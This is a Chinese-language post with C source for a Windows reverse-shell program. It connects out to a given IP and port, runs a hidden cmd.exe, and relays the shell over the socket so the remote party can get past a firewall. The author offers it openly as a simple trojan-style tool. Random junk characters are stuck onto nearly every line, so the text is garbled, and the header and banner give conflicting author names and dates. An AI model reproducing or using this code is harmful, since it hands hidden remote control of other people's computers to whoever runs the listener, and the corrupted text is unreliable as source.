这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %y)]Q|
Prc(
/* ============================== B/Js>R
Rebound port in Windows NT 7Y?59
[
By wind,2006/7 _U|rTil
===============================*/ D dh
#include \J(kevX
#include %MCJ%Ph
&8;Fi2}(L
#pragma comment(lib,"wsock32.lib") f4O}WU}l{s
g-pEt#
void OutputShell(); h e=A%s
SOCKET sClient; [jz@d\k$_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &E]<KbVx
}0[<xo>K
void main(int argc,char **argv) P^aNAa
{ j];#=+
WSADATA stWsaData; EG8%X "p
int nRet; ZU$QwI8
SOCKADDR_IN stSaiClient,stSaiServer; ,\-4X
18^K!:Of
if(argc != 3) wG&Z7C b
{ ug_c}Nv=Y
printf("Useage:\n\rRebound DestIP DestPort\n"); i,zZJ=a$
return; j/8q
} CZ!gu Y=
naiQ$uq0
WSAStartup(MAKEWORD(2,2),&stWsaData); m2%n:
U#x`u|L&6
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c8N pk<
zh{I;~syh
stSaiClient.sin_family = AF_INET; (M?VB*sm0
stSaiClient.sin_port = htons(0); _Tf
%<E
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \#v(f2jPF
*:%I|5
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Z,-J
tl
{ ol1J1Zg
printf("Bind Socket Failed!\n"); x*!*2{
return; ai<K6)
} e6>[Z C
y1h3Ch>Y
stSaiServer.sin_family = AF_INET; DW>O]\I
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); CHi
t{
@9
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); e<{waJ1
aA
-j
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) KBoW(OP4'
{ 8M0<:p/
printf("Connect Error!"); 29nMm>P.e
return; +W/{UddeKU
} TtrV
-X>L
OutputShell(); .E9$j<SP-
} wHZ(=z/q
|2GrOM&S
void OutputShell() ewdcAF5
{ 4}Y? :R
char szBuff[1024]; ?Ld:HE
SECURITY_ATTRIBUTES stSecurityAttributes; sDvy(5
OSVERSIONINFO stOsversionInfo; cJ>^@pd{
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; sC ?e%B
STARTUPINFO stStartupInfo; sY[!=` @
char *szShell; /g1;`F(MS/
PROCESS_INFORMATION stProcessInformation; ~<}?pDA}~
unsigned long lBytesRead; o{' JO3
i)/#u+Y1P
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (S?qxW?
aI;fNy/K
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t]{, 7.S
stSecurityAttributes.lpSecurityDescriptor = 0; |RBL5,t^
stSecurityAttributes.bInheritHandle = TRUE; a# Uk:O!
C,8@V`
#^_7i)=~
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F ~e}=Nb
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *l@T
9L[M'
Odm1;\=Eg+
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @.=2*e.z|b
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VrKLEN\
stStartupInfo.wShowWindow = SW_HIDE; MH]?:]K9V
stStartupInfo.hStdInput = hReadPipe; 'X\C/8\
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; DB'3h7T
Va4AE)[/*
GetVersionEx(&stOsversionInfo); x}f)P
KfSbm?
switch(stOsversionInfo.dwPlatformId) o9v.]tb
{ wuhL r(
case 1: {)4@rM
szShell = "command.com"; j'XND`3
break; w[uwhd
default: 1`1Jn*|TI
szShell = "cmd.exe"; lrgvY>E0
break; /GA-1cS_(
} "Z"`X3,-z
"2}n(8
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Q@s G6iz
{\VmNnw
send(sClient,szMsg,77,0); ;`Sn66&
while(1) ?U,Xy xN
{ yn2k!2]&T<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m~@Lt~LZs
if(lBytesRead) G&yF9s)Lvs
{ YCBUc<)
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >qdRqy)DC
send(sClient,szBuff,lBytesRead,0); +p-S36K~,7
} yg%T{hyzH
else km}E&ao
{ CbMClnF
lBytesRead=recv(sClient,szBuff,1024,0); $cGV)[KWp@
if(lBytesRead<=0) break; 'l1cuAP!+
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); InG<B,/W?
} ^Uldyv/
} 6a6N$v"
?YM0VB,y
return; g:>dF#
}